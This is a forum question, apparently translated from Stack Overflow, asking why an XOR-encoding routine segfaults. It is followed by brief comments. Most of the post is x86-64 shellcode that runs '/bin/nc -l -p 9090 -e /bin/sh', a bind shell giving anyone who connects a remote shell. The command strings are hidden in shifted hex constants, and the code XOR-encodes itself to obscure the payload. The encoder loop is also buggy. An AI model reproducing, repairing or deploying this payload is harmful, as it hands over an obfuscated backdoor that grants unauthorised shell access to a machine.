【发布时间】:2018-06-22 11:50:43
【问题描述】:
rdi 包含一段代码的地址。我正在尝试对该代码执行 XOR 编码。当我运行该代码时,mov 指令会导致分段错误。有人可以帮忙吗?
mov byte al,[rdi]; No errors
xor al,0x7f
mov byte [rdi],al; Causes segmeation fault
完整代码:
section .text
global _start
_start:
call encrypt
code:
xor rax,rax
xor rdx,rdx
xor rcx,rcx
xor rdx,rdx
mov rdi,0x636e2f6e69622f2f
shr rdi,0x8
push rdi
mov rdi,rsp
mov rsi,0x6c2dffffffffffff
shr rsi,0x30
push rsi
mov rsi,rsp
mov rbx,0x702dffffffffffff
shr rbx,0x30
push rbx
mov rbx,rsp
mov rcx,0x30393039ffffffff
shr rcx,0x20
push rcx
mov rcx,rsp
mov rdx,0x652dffffffffffff
shr rdx,0x20
push rdx
mov rdx,rsp
xor r8,r8
mov r8,0x68732f6e69622f2f
shr r8,0x8
push r8
mov r8,rsp
push r8
push rdx
push rcx
push rbx
push rsi
push rdi
mov rsi,rsp
mov al,59
syscall
encrypt:
pop rdi
mov cl,0x8a
mov bl,0
loo:
dec cl
mov byte al,[rdi]
xor al,0x7f
mov byte [rdi],al ;segfault occurs here
inc rdi
jne loo
jmp code
【问题讨论】:
-
rdi 指向您可能不会写信的地方
-
你能发布你的完整代码吗?看不到
rdi指向的位置,很难说到底出了什么问题。 -
你在为什么操作系统编程?
-
Debian linux...